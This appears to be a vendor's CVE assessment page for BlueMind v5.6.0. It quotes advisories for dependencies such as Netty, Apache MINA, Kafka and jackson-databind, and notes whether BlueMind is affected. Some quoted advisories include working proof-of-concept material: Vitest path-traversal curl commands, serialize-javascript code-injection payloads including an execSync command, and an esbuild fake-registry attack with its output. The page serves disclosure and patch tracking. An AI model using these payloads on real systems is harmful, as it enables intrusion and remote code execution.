BlueMind v5.6.0 - CVEs

Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty's `DnsResolveContext` insufficiently validates the bailiwick of NS records, enabling DNS Cache Poisoning. An attacker controlling an authoritative name server for a subdomain can poison the cache for parent domains (like `.co.uk`). In `io.netty.resolver.dns.DnsResolveContext.AuthoritativeNameServerList#add` method accepts any NS record from the AUTHORITY section as long as the record's name is a suffix of the questionName. Subsequently, the `handleWithAdditional` method caches the associated A records from the ADDITIONAL section directly into the `authoritativeDnsServerCache` under the parent domain's key. This bypasses standard bailiwick rules, where a server authoritative for a subdomain should not be trusted to provide authoritative records for its parent. The poisoned cache is then used for all future resolutions under the parent domain's key. Versions 4.1.135.Final and 4.2.15.Final patch the issue.

Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty's DnsResolveContext fails to validate the origin (bailiwick) of CNAME records in DNS responses. Versions 4.1.135.Final and 4.2.15.Final patch the issue.

The fix for CVE-2026-41635 was not applied to the 2.1.X and 2.2.X branches. Here was the original issue description: Apache MINA's AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed. The fix checks if the class is present in the accepted class filter before calling Class.forName(). Affected versions are Apache MINA 2.1.0 <= 2.1.11, and 2.2.0 <= 2.2.6. The problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade.

Immutable.js provides many Persistent Immutable data structures. Prior to versions 3.8.3, 4.3.7, and 5.1.5, Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. This issue has been patched in versions 3.8.3, 4.3.7, and 5.1.5.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

Rollup is a module bundler for JavaScript. Versions prior to 2.80.0, 3.30.0, and 4.59.0 of the Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (`../`) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files. Versions 2.80.0, 3.30.0, and 4.59.0 contain a patch for the issue.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

The fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed. Affected versions are Apache MINA 2.0.0 <= 2.0.27, 2.1.0 <= 2.1.10, and 2.2.0 <= 2.2.5. The problem is resolved in Apache MINA 2.0.28, 2.1.11, and 2.2.6 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade

OpenTelemetry Java Instrumentation provides OpenTelemetry auto-instrumentation and instrumentation libraries for Java. In versions prior to 2.26.1, the RMI instrumentation registered a custom endpoint that deserialized incoming data without applying serialization filters. On JDK version 16 and earlier, an attacker with network access to a JMX or RMI port on an instrumented JVM could exploit this to potentially achieve remote code execution. All three of the following conditions must be true to exploit this vulnerability: First, OpenTelemetry Java instrumentation is attached as a Java agent (`-javaagent`) on Java 16 or earlier. Second, JMX/RMI port has been explicitly configured via `-Dcom.sun.management.jmxremote.port` and is network-reachable. Third, gadget-chain-compatible library is present on the classpath. This results in arbitrary remote code execution with the privileges of the user running the instrumented JVM. For JDK >= 17, no action is required, but upgrading is strongly encouraged. For JDK < 17, upgrade to version 2.26.1 or later. As a workaround, set the system property `-Dotel.instrumentation.rmi.enabled=false` to disable the RMI integration.

BlueMind is not affected because it used newer version of OpenJDK : * BlueMind v5.5.x : OpenJDK v25.x.y * BlueMind v5.5.x : OpenJDK v25.x.y * BlueMind v5.3.x : OpenJDK v21.0.x

Impact: The fix for CVE-2021-23337 (https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink. When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time. Additionally, _.template uses assignInWith to merge imports, which enumerates inherited properties via for..in. If Object.prototype has been polluted by any other vector, the polluted keys are copied into the imports object and passed to Function(). Patches: Users should upgrade to version 4.18.0. Workarounds: Do not pass untrusted input as key names in options.imports. Only use developer-controlled, static key names.

Code not used

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpObjectDecoder strips a conflicting Content-Length header when a request carries both Transfer-Encoding: chunked and Content-Length, but only for HTTP/1.1 messages. The guard is absent for HTTP/1.0. An attacker that sends an HTTP/1.0 request with both headers causes Netty to decode the body as chunked while leaving Content-Length intact in the forwarded HttpMessage. Any downstream proxy or handler that trusts Content-Length over Transfer-Encoding will disagree on message boundaries, enabling request smuggling. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

flatted is a circular JSON parser. Prior to version 3.4.2, the parse() function in flatted can use attacker-controlled string values from the parsed JSON as direct array index keys, without validating that they are numeric. Since the internal input buffer is a JavaScript Array, accessing it with the key "__proto__" returns Array.prototype via the inherited getter. This object is then treated as a legitimate parsed value and assigned as a property of the output object, effectively leaking a live reference to Array.prototype to the consumer. Any code that subsequently writes to that property will pollute the global prototype. This issue has been patched in version 3.4.2.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

### Summary Arbitrary file can be read on Windows when Vitest UI server is listening, especially when exposed to the network. ### Impact Only users that match either of the following conditions are affected: - explicitly exposes the Vitest UI server to the network (using `--api.host` or [`api.host` config option](https://vitest.dev/config/api.html)) - running the Vitest UI or Browser Mode on Windows ### Details The API handler for `/__vitest_attachment__` uses the deprecated `isFileServingAllowed` incorrectly. https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/ui/node/index.ts#L77 The function expects the passed value to use `cleanUrl` after the check before file system related operation. Because of this, it is possible to bypass the check by `\\?\\..\\`. This is not possible on Linux as Linux errors if a directory named `?` does not exist. A similar problem exists in other places as well. - https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/vitest/src/api/setup.ts#L103-L105 - https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/vitest/src/api/setup.ts#L119-L121 - https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/commands/fs.ts#L10-L11 - https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/plugin.ts#L194-L196 - https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/rpc.ts#L115-L121 **That said**, this `isFileServingAllowed` check does not actually prevent the API to be abused. Since the API has rerun feature and file write feature, it's possible to run arbitrary script by writing a script as a test file using `saveTestFile` and running it using `rerun`. This means exposing the API / Vitest UI is equivalent to giving script execution access. On the browser mode side, there're `readFile` / `writeFile` / `saveSnapshotFile`. So exposing the browser mode is equivalent to giving file read / write access. ### PoC 1. Run Vitest UI 2. Get the API token by `curl http://localhost:51204/__vitest__/` 3. Run `curl "http://localhost:51204/__vitest_attachment__?path=C:\\path\\to\\project\\?\\..\\..\\secret.txt&amp;contentType=text/plain&amp;token=$TOKEN"` (TOKEN is the API token) 4. curl shows the content of `secret.txt` that is outside the project directory ### Mitigations Vitest now ships two configuration flags, [`allowWrite`](https://vitest.dev/config/api.html#api-allowwrite) and [`allowExec`](https://vitest.dev/config/api.html#api-allowexec), that gate the privileged operations exploited by this vulnerability. Both are disabled by default whenever the API server is bound to a non-`localhost` host, ensuring that exposing the server to the network no longer implicitly grants write or execute capabilities to remote clients. When these flags are disabled, the UI also enters a read-only mode: in-browser code editing and test file execution are turned off, removing the attack surface that allowed remote code execution. Many Browser Mode features are also disabled, like attachments, artifacts or snapshots. See [`browser.api`](https://vitest.dev/config/browser/api.html#api-allowwrite). Users who require the full interactive UI on a networked host must explicitly opt in by setting `allowWrite` and/or `allowExec` to `true`.

This vulnerability concerns uniquely developers on Windows environment.

Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. In versions 15.10.0 through 20.8.7, a code injection vulnerability in `ECMAScriptModuleCompiler` allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside `export { }` declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization. Version 20.8.8 fixes the issue.

This library is only used on dev environment, for quality or testing purposes and is not deployed on production server.

Apache MINA's AbstractIoBuffer.resolveClass() contains two branches, one of them (for static classes or primitive types) does not check the class at all, bypassing the classname allowlist and allowing arbitrary code to be executed. The fix checks if the class is present in the accepted class filter before calling Class.forName().  Affected versions are Apache MINA 2.0.0 <= 2.0.27, 2.1.0 <= 2.1.10, and 2.2.0 <= 2.2.5. The problem is resolved in Apache MINA 2.0.28, 2.1.11, and 2.2.6 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call  IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade.

The fix for CVE-2026-41409 was not applied to the 2.1.X and 2.2.X branches. Here was the original issue description: The fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed. Affected versions are Apache MINA 2.1.0 <= 2.1.11, and 2.2.0 <= 2.2.6. The problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade The fix for CVE-2024-52046 in Apache MINA AbstractIoBuffer.getObject() was incomplete. The classname allowlist of classes allowed to be deserialized was applied too late after a static initializer in a class to be read might already have been executed. Affected versions are Apache MINA 2.1.0 <= 2.1.110, and 2.2.0 <= 2.2.6. The problem is resolved in Apache MINA 2.1.12, and 2.2.7 by applying the classname allowlist earlier. Affected are applications using Apache MINA that call IoBuffer.getObject(). Applications using Apache MINA are advised to upgrade

Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. Prior to version 1.4.0, `pki.verifyCertificateChain()` does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the `basicConstraints` and `keyUsage` extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid. Version 1.4.0 patches the issue.

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

A possible security vulnerability has been identified in Apache Kafka. By default, the broker property `sasl.oauthbearer.jwt.validator.class` is set to `org.apache.kafka.common.security.oauthbearer.DefaultJwtValidator`. It accepts any JWT token without validating its signature, issuer, or audience. An attacker can generate a JWT token from any issuer with the `preferred_username` set to any user, and the broker will accept it. We advise the Kafka users using kafka v4.1.0 or v4.1.1 to set the config `sasl.oauthbearer.jwt.validator.class` to `org.apache.kafka.common.security.oauthbearer.BrokerJwtValidator` explicitly to avoid this vulnerability. Since Kafka v4.1.2 and v4.2.0 and later, the issue is fixed and will correctly validate the JWT token.

Code not affected

Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final.

A possible security vulnerability has been identified in Apache Kafka. This requires access to a alterConfig to the cluster resource, or Kafka Connect worker, and the ability to create/modify connectors on it with an arbitrary Kafka client SASL JAAS config and a SASL-based security protocol, which has been possible on Kafka clusters since Apache Kafka 2.0.0 (Kafka Connect 2.3.0). When configuring the broker via config file or AlterConfig command, or connector via the Kafka Kafka Connect REST API, an authenticated operator can set the `sasl.jaas.config` property for any of the connector's Kafka clients to "com.sun.security.auth.module.LdapLoginModule", which can be done via the `producer.override.sasl.jaas.config`, `consumer.override.sasl.jaas.config`, or `admin.override.sasl.jaas.config` properties. This will allow the server to connect to the attacker's LDAP server and deserialize the LDAP response, which the attacker can use to execute java deserialization gadget chains on the Kafka connect server. Attacker can cause unrestricted deserialization of untrusted data (or) RCE vulnerability when there are gadgets in the classpath. Since Apache Kafka 3.0.0, users are allowed to specify these properties in connector configurations for Kafka Connect clusters running with out-of-the-box configurations. Before Apache Kafka 3.0.0, users may not specify these properties unless the Kafka Connect cluster has been reconfigured with a connector client override policy that permits them. Since Apache Kafka 3.9.1/4.0.0, we have added a system property ("-Dorg.apache.kafka.disallowed.login.modules") to disable the problematic login modules usage in SASL JAAS configuration. Also by default "com.sun.security.auth.module.JndiLoginModule,com.sun.security.auth.module.LdapLoginModule" are disabled in Apache Kafka Connect 3.9.1/4.0.0. We advise the Kafka users to validate connector configurations and only allow trusted LDAP configurations. Also examine connector dependencies for vulnerable versions and either upgrade their connectors, upgrading that specific dependency, or removing the connectors as options for remediation. Finally, in addition to leveraging the "org.apache.kafka.disallowed.login.modules" system property, Kafka Connect users can also implement their own connector client config override policy, which can be used to control which Kafka client properties can be overridden directly in a connector config and which cannot.

This authentication mode is not used

Improper Access Control vulnerability in Apache Commons. A special BeanIntrospector class was added in version 1.9.2. This can be used to stop attackers from using the declared class property of Java enum objects to get access to the classloader. However this protection was not enabled by default. PropertyUtilsBean (and consequently BeanUtilsBean) now disallows declared class level property access by default. Releases 1.11.0 and 2.0.0-M2 address a potential security issue when accessing enum properties in an uncontrolled way. If an application using Commons BeanUtils passes property paths from an external source directly to the getProperty() method of PropertyUtilsBean, an attacker can access the enum’s class loader via the “declaredClass” property available on all Java “enum” objects. Accessing the enum’s “declaredClass” allows remote attackers to access the ClassLoader and execute arbitrary code. The same issue exists with PropertyUtilsBean.getNestedProperty(). Starting in versions 1.11.0 and 2.0.0-M2 a special BeanIntrospector suppresses the “declaredClass” property. Note that this new BeanIntrospector is enabled by default, but you can disable it to regain the old behavior; see section 2.5 of the user's guide and the unit tests. This issue affects Apache Commons BeanUtils 1.x before 1.11.0, and 2.x before 2.0.0-M2.Users of the artifact commons-beanutils:commons-beanutils 1.x are recommended to upgrade to version 1.11.0, which fixes the issue. Users of the artifact org.apache.commons:commons-beanutils2 2.x are recommended to upgrade to version 2.0.0-M2, which fixes the issue.

A race condition in the Apache Kafka Java producer client’s buffer pool management can cause messages to be silently delivered to incorrect topics. When a produce batch expires due to delivery.timeout.ms while a network request containing that batch is still in flight, the batch’s ByteBuffer is prematurely deallocated and returned to the buffer pool. If a subsequent producer batch—potentially destined for a different topic—reuses this freed buffer before the original network request completes, the buffer contents may become corrupted. This can result in messages being delivered to unintended topics without any error being reported to the producer. Data Confidentiality: Messages intended for one topic may be delivered to a different topic, potentially exposing sensitive data to consumers who have access to the destination topic but not the intended source topic. Data Integrity: Consumers on the receiving topic may encounter unexpected or incompatible messages, leading to deserialization failures, processing errors, and corrupted downstream data. This issue affects Apache Kafka versions ≤ 3.9.1, ≤ 4.0.1, and  ≤ 4.1.1. Kafka users are advised to upgrade to 3.9.2, 4.0.2, 4.1.2, 4.2.0, or later to address this vulnerability.

initDocumentParser in xml/XMLSchedulingDataProcessor.java in Terracotta Quartz Scheduler through 2.3.0 allows XXE attacks via a job description.

The shell-quote package before 1.7.3 for Node.js allows command injection. An attacker can inject unescaped shell metacharacters through a regex designed to support Windows drive letters. If the output of this package is passed to a real shell as a quoted argument to a command with exec(), an attacker can inject arbitrary commands. This is because the Windows drive letter regex character class is {A-z] instead of the correct {A-Za-z]. Several shell metacharacters exist in the space between capital letter Z and lower case letter a, such as the backtick character.

Library used only for development purpose and not included on production code Library used only with Node configured as a server

The ejs (aka Embedded JavaScript templates) package 3.1.6 for Node.js allows server-side template injection in settings[view options][outputFunctionName]. This is parsed as an internal option, and overwrites the outputFunctionName option with an arbitrary OS command (which is executed upon template compilation).

Library used only for development purpose and not included on production code Library only used when Node is configured as a server

An interpretation-conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and earlier enables unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.

### Impact The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660. While `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`. If an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes. ```javascript const serialize = require('serialize-javascript'); // Create an object that passes instanceof RegExp with a spoofed .flags const fakeRegex = Object.create(RegExp.prototype); Object.defineProperty(fakeRegex, 'source', { get: () => 'x' }); Object.defineProperty(fakeRegex, 'flags', { get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"' }); fakeRegex.toJSON = function() { return '@placeholder'; }; const output = serialize({ re: fakeRegex }); // Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")} let obj; eval('obj = ' + output); console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed! #h2. PoC 2: Code Injection via Date.toISOString() ``` ```javascript const serialize = require('serialize-javascript'); const fakeDate = Object.create(Date.prototype); fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; }; fakeDate.toJSON = function() { return '2024-01-01'; }; const output = serialize({ d: fakeDate }); // Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")} eval('obj = ' + output); console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed! #h2. PoC 3: Remote Code Execution ``` ```javascript const serialize = require('serialize-javascript'); const rceRegex = Object.create(RegExp.prototype); Object.defineProperty(rceRegex, 'source', { get: () => 'x' }); Object.defineProperty(rceRegex, 'flags', { get: () => '"+require("child_process").execSync("id").toString()+"' }); rceRegex.toJSON = function() { return '@rce'; }; const output = serialize({ re: rceRegex }); // Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")} // When eval'd on a Node.js server, executes the "id" system command ``` ### Patches The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

shell-quote's `quote()` function did not validate object-token inputs against the operator model used by `parse()`. The `.op` field was backslash-escaped character by character using `/(.)/g`, which in JavaScript does not match line terminators (\n, \r, U+2028, U+2029). A line terminator in `.op` therefore passed through unescaped into the output; POSIX shells treat a literal newline as a command separator, so any content after it would execute as a second command. The vulnerable code path is reachable in two ways: (1) direct construction of `{ op: '...\n...' }` from external input, and (2) via `parse(cmd, envFn)` when `envFn` returns object tokens whose `.op` is attacker-influenced. Both are documented API surface. Fixed by replacing the per-character escape with strict shape validation: `.op` must match the parser's control-operator allowlist; `{ op: 'glob', pattern }` validates `pattern` and forbids line terminators; `{ comment }` validates `comment` and forbids line terminators; any other object shape throws `TypeError`.

jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.10.0 until 2.18.8, 2.21.4, and 3.1.4, jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV. If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization. An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example java.util.ArrayList<com.evil.Gadget> when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list. This vulnerability is fixed in 2.18.8, 2.21.4, and 3.1.4.

### Summary The esbuild Deno module (`lib/deno/mod.ts`) downloads native binary executables from an npm registry and writes them to disk with executable permissions (`0o755`) **without performing any integrity verification** (e.g., SHA-256 hash check). The Node.js equivalent (`lib/npm/node-install.ts`) includes a robust `binaryIntegrityCheck()` function that verifies SHA-256 hashes against hardcoded expected values from `package.json`, but this protection was never implemented for the Deno distribution. When the `NPM_CONFIG_REGISTRY` environment variable is set, the Deno module constructs a download URL using this attacker-influenced value and fetches a native binary from it. Because no integrity check is performed, an attacker who can control this environment variable (common in CI/CD pipelines, shared development environments, or corporate networks with custom npm registries) can supply a malicious binary that will be downloaded, written to disk, and executed with the privileges of the Deno process, achieving full remote code execution. ### Details **Vulnerable code path** — `lib/deno/mod.ts` lines 62–82: ```typescript async function installFromNPM(name: string, subpath: string): Promise<string> { const { finalPath, finalDir } = getCachePath(name) try { await Deno.stat(finalPath); return finalPath } catch (e) {} const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org" // line 70: attacker-controlled const url = `${npmRegistry}/${name}/-/${name.replace("@esbuild/", "")}-${version}.tgz` // line 71: URL uses attacker base const buffer = await fetch(url).then(r => r.arrayBuffer()) // line 72: download const executable = extractFileFromTarGzip(new Uint8Array(buffer), subpath) // line 73: extract await Deno.mkdir(finalDir, { recursive: true, mode: 0o700 }) await Deno.writeFile(finalPath, executable, { mode: 0o755 }) // line 80: write + chmod return finalPath // line 81: no hash check } ``` **Missing protection** — The Node.js equivalent at `lib/npm/node-install.ts` lines 228–234: ```typescript function binaryIntegrityCheck(pkg: string, subpath: string, bytes: Uint8Array): void { const hash = crypto.createHash('sha256').update(bytes).digest('hex') const key = `${pkg}/${subpath}` const expected = packageJSON['esbuild.binaryHashes'][key] if (!expected) throw new Error(`Missing hash for "${key}"`) if (hash !== expected) throw new Error(...) } ``` This function is called in both the `installUsingNPM()` path (line 131) and the `downloadDirectlyFromNPM()` path (line 243), but **no equivalent exists in the Deno module**. Searching the entire git history confirms `binaryIntegrityCheck`, `binaryHashes`, `sha256`, and `hash` have never appeared in `lib/deno/mod.ts`. **Execution flow after download:** The binary returned by `installFromNPM()` is passed to `spawn()` at line 291 of the same file: ```typescript const child = spawn(binPath, { args: [`--service=${version}`], ... }) ``` **Attack vector:** The `NPM_CONFIG_REGISTRY` environment variable is a standard npm configuration variable widely used in enterprise CI/CD pipelines to point to internal artifact repositories (Artifactory, Nexus, Verdaccio, etc.). An attacker who can inject or modify this variable in a build environment (e.g., via CI config injection, shared environment, or compromised registry) can redirect the download to a server they control and serve a trojaned native binary. ### PoC **Prerequisites:** Deno runtime, Node.js (for fake registry) **Step 1:** Create a fake npm registry that serves a malicious binary: ```javascript // fake-registry.js const http = require('http'); const zlib = require('zlib'); http.createServer((req, res) => { const fakeBin = '#!/bin/sh\necho PWNED > /tmp/deno-esbuild-rce-proof.txt\necho fake-esbuild-0.28.0\n'; // ... build tar.gz with fake binary as package/bin/esbuild ... res.writeHead(200, {'Content-Length': gz.length}); res.end(gz); }).listen(19876, () => console.log('READY')); ``` **Step 2:** Run the PoC with `NPM_CONFIG_REGISTRY` pointing to the fake server: ```typescript // poc.ts — mimics lib/deno/mod.ts installFromNPM code path const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org"; const url = `${npmRegistry}/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz`; const buffer = new Uint8Array(await (await fetch(url)).arrayBuffer()); // ... gzip decompress + tar extraction (same as extractFileFromTarGzip) ... await Deno.writeFile("/tmp/downloaded-binary", executable, { mode: 0o755 }); // *** NO integrity check performed *** const cmd = new Deno.Command("/tmp/downloaded-binary"); await cmd.output(); // RCE: executes attacker-controlled binary ``` **Step 3:** Run: ```bash node fake-registry.js & NPM_CONFIG_REGISTRY="http://127.0.0.1:19876" deno run --allow-all poc.ts cat /tmp/deno-esbuild-rce-proof.txt # Output: PWNED ``` **Observed output in this environment:** ``` Download URL: http://127.0.0.1:19876/@esbuild/linux-x64/-/linux-x64-0.28.0.tgz Binary written to: /tmp/deno-poc/downloaded-binary Binary content: #!/bin/sh echo PWNED > /tmp/deno-esbuild-rce-proof.txt echo fake-esbuild-0.28.0 Executing downloaded binary... stdout: fake-esbuild-0.28.0 *** RCE CONFIRMED *** Marker file content: PWNED ``` **Build-local verification — using the actual built `deno/mod.js`:** The esbuild Deno module was built from source (`node scripts/esbuild.js ./esbuild --deno`) producing `deno/mod.js`. The fake registry test was then re-run using the **actual module** via `import * as esbuild from "file:///path/to/deno/mod.js"`, triggering the real `installFromNPM()` → `installFromNPM()` code path: ``` [TEST] esbuild Deno module loaded [TEST] esbuild version: 0.28.0 [TEST] *** RCE VIA ACTUAL MODULE CONFIRMED *** [TEST] Marker file content: VULN-CONFIRMED [TEST] The actual built deno/mod.js downloaded and executed [TEST] a malicious binary from the fake registry WITHOUT [TEST] performing any SHA-256 integrity verification. ``` The malicious binary was cached at `~/.cache/esbuild/bin/@esbuild-linux-x64@0.28.0` with contents: ``` #!/bin/sh echo "VULN-CONFIRMED" > /tmp/esbuild-deno-verify-rce.txt echo "0.28.0" ``` Built-in Deno module (`deno/mod.js`) confirmed to contain `NPM_CONFIG_REGISTRY` usage (line 1900) and zero references to `binaryIntegrityCheck`, `binaryHashes`, `sha256`, or `crypto.createHash`. **Negative/control case — Node.js rejects the same fake binary:** ``` Fake binary SHA-256: d85234b9bac94fcda135d112f0c23d9c31bbb14a5502a37e743a3cf2a3750fa1 Expected hash: aafacdf135322bf47c882a4ea4db33d0375583f5b9c3fd2d4e12258e470568be Hashes match: false => Node.js path REJECTS the fake binary (hash mismatch) => Deno path ACCEPTS it without any check ``` ### Impact An attacker who can control the `NPM_CONFIG_REGISTRY` environment variable in a Deno project using esbuild can achieve **arbitrary code execution** with the privileges of the Deno process. This is particularly relevant in: - **CI/CD pipelines** where `NPM_CONFIG_REGISTRY` is commonly set to point to internal artifact repositories - **Shared development environments** where environment variables may be inherited from parent processes - **Corporate networks** where npm registry mirrors are configured via this environment variable The attacker does not need to compromise the npm registry itself — only the environment variable or network path between the Deno process and the registry. ### Suggested remediation 1. **Add SHA-256 integrity verification to the Deno module**, mirroring the existing `binaryIntegrityCheck()` function from `lib/npm/node-install.ts`: ```typescript // In lib/deno/mod.ts, after extracting the binary: const hashBuffer = await crypto.subtle.digest("SHA-256", executable); const hash = Array.from(new Uint8Array(hashBuffer)).map(b => b.toString(16).padStart(2, '0')).join(''); const key = `${name}/${subpath}`; const expected = EXPECTED_HASHES[key]; // Import from a shared hash manifest if (hash !== expected) throw new Error(`Binary integrity check failed for "${key}"`); ``` 2. **Validate the `NPM_CONFIG_REGISTRY` URL** to ensure it uses HTTPS (or at minimum warn about HTTP): ```typescript const npmRegistry = Deno.env.get("NPM_CONFIG_REGISTRY") || "https://registry.npmjs.org"; if (npmRegistry.startsWith("http://")) { console.warn(`[esbuild] Warning: NPM_CONFIG_REGISTRY uses insecure HTTP`); } ``` 3. **Add `ESBUILD_BINARY_PATH` validation** in the Deno module, mirroring the `isValidBinaryPath()` check from `lib/npm/node-platform.ts`. **Regression test suggestion:** Add a test that verifies the Deno download path rejects a binary with a mismatched SHA-256 hash.

jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.10.0 until 2.18.8, 2.21.4, and 3.1.4, BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist. This vulnerability is fixed in 2.18.8, 2.21.4, and 3.1.4.

Netty is a network application framework for development of protocol servers and clients. In netty-handler prior to versions 4.1.135.Final and 4.2.15.Final, an attacker can bypass IPv6 subnet rules due to an incorrect masking operation in IpSubnetFilterRule.compareTo(). Valid public IP addresses can bypass the restrictions. Versions 4.1.135.Final and 4.2.15.Final patch the issue.

The dashboard permissions API does not verify the target dashboard scope and only checks the dashboards.permissions:* action. As a result, a user who has permission management rights on one dashboard can read and modify permissions on other dashboards. This is an organization‑internal privilege escalation.

When a user's access to mint tokens for a service account is revoked, it is sometimes still possible to do so for a few seconds after the event. The user will eventually lose access to do this.

Forge (also called `node-forge`) is a native implementation of Transport Layer Security in JavaScript. An Uncontrolled Recursion vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs. This issue has been patched in version 1.3.2.

